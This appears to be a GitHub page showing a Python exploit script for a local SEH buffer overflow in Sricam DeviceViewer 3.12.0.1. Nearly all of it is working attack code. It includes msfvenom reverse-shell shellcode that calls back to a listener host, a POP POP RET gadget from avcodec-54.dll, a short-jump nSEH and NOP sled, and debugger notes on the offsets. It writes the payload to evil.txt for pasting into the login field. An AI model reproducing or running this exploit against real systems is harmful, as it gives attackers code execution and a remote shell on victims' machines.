-
Notifications
You must be signed in to change notification settings - Fork 53
/
DeviceViewer-Sricam-seh.py
92 lines (79 loc) · 4.93 KB
/
DeviceViewer-Sricam-seh.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from struct import *
# Date : 9/20/2019
#
# Exploit summary :
# A local standard SEH overflow exists in both password field when logging in and exiting the application
# on XP, an attacker can abuse this SEH overflow to obtain code execution and a local shell, which
# potentionally can result in privesc if the circustances are right.
#
# Vendor application : DeviceViewer 3.12.0.1
# http://download.sricam.com/Manual/DeviceViewer.exe
# Affected locations : both password field when logging in and out of the application.
# Tested on: Windows 7 sp1
#----------------------------------------#
# Bad characters: "\x00\x0a\x0d" #
# POP POP RET: 0x6A0E6A86 #
# SEH handler offset: 136 #
#----------------------------------------#
malicious_file = "evil.txt"
# Exception Offset: 41414141
# clean set without any bad characters - removed '\x00\x0a\x0d'
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
# msfvenom -p windows/shell_reverse_tcp lport=1234 lhost=10.0.0.78 -f c -b '\x00\x0a\x0d' -a x86 --platform windows EXITFUNC=seh
shellcode = (
"\xd9\xee\xd9\x74\x24\xf4\xba\xc3\x8a\xdc\x9e\x5e\x33\xc9\xb1"
"\x52\x83\xc6\x04\x31\x56\x13\x03\x95\x99\x3e\x6b\xe5\x76\x3c"
"\x94\x15\x87\x21\x1c\xf0\xb6\x61\x7a\x71\xe8\x51\x08\xd7\x05"
"\x19\x5c\xc3\x9e\x6f\x49\xe4\x17\xc5\xaf\xcb\xa8\x76\x93\x4a"
"\x2b\x85\xc0\xac\x12\x46\x15\xad\x53\xbb\xd4\xff\x0c\xb7\x4b"
"\xef\x39\x8d\x57\x84\x72\x03\xd0\x79\xc2\x22\xf1\x2c\x58\x7d"
"\xd1\xcf\x8d\xf5\x58\xd7\xd2\x30\x12\x6c\x20\xce\xa5\xa4\x78"
"\x2f\x09\x89\xb4\xc2\x53\xce\x73\x3d\x26\x26\x80\xc0\x31\xfd"
"\xfa\x1e\xb7\xe5\x5d\xd4\x6f\xc1\x5c\x39\xe9\x82\x53\xf6\x7d"
"\xcc\x77\x09\x51\x67\x83\x82\x54\xa7\x05\xd0\x72\x63\x4d\x82"
"\x1b\x32\x2b\x65\x23\x24\x94\xda\x81\x2f\x39\x0e\xb8\x72\x56"
"\xe3\xf1\x8c\xa6\x6b\x81\xff\x94\x34\x39\x97\x94\xbd\xe7\x60"
"\xda\x97\x50\xfe\x25\x18\xa1\xd7\xe1\x4c\xf1\x4f\xc3\xec\x9a"
"\x8f\xec\x38\x0c\xdf\x42\x93\xed\x8f\x22\x43\x86\xc5\xac\xbc"
"\xb6\xe6\x66\xd5\x5d\x1d\xe1\xd0\xa1\x1d\xbf\x8c\xa3\x1d\x3b"
"\x9f\x2d\xfb\x29\x0f\x78\x54\xc6\xb6\x21\x2e\x77\x36\xfc\x4b"
"\xb7\xbc\xf3\xac\x76\x35\x79\xbe\xef\xb5\x34\x9c\xa6\xca\xe2"
"\x88\x25\x58\x69\x48\x23\x41\x26\x1f\x64\xb7\x3f\xf5\x98\xee"
"\xe9\xeb\x60\x76\xd1\xaf\xbe\x4b\xdc\x2e\x32\xf7\xfa\x20\x8a"
"\xf8\x46\x14\x42\xaf\x10\xc2\x24\x19\xd3\xbc\xfe\xf6\xbd\x28"
"\x86\x34\x7e\x2e\x87\x10\x08\xce\x36\xcd\x4d\xf1\xf7\x99\x59"
"\x8a\xe5\x39\xa5\x41\xae\x44\x57\x5b\x3b\xd0\xce\x0e\x06\xbc"
"\xf0\xe5\x45\xb9\x72\x0f\x36\x3e\x6a\x7a\x33\x7a\x2c\x97\x49"
"\x13\xd9\x97\xfe\x14\xc8")
seh = pack('I', 0x6A0E6A86) # POP POP RET from - avcodec-54.dll
nseh = '\xeb\x06\x90\x90' # short jump 6 over island
payload = "A" * 136 # fill up the buffer space with calculated offset - !mona findmsp
payload += nseh # a short jump \xEB\X06 to jump over 6 placed
payload += seh # POP POP RET from an associated DLL without any protections - !mona seh -n
payload += "\x90" * 16 # small NOPSLED to catch the short jump
payload += shellcode # pops a reverse shell back to the host system
payload += "C" *(1000 - len(payload))
# Log data, item 13
# Address=6A11548E
# Message= 0x6a11548e : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-54.dll)
# Log data, item 43
# Address=0BADF00D
# Message= SEH record (nseh field) at 0x0035ef24 overwritten with normal pattern : 0x65413565 (offset 136), followed by 9856 bytes of cyclic data after the handler
try:
print("[x] DeviceViewer v3.12.0.1 username field SEH local buffer overflow\n")
print("[x] Opening the malicious file")
payload_execution = open(malicious_file, "w+")
print("[x] Creating malicious file called evil.txt")
payload_execution.write(payload)
print("[x] Adding payload to the malicious file")
payload_execution.close()
print("[x] Copy the contents of evil.txt to the USER field")
except:
print("[!] Error running the exploit")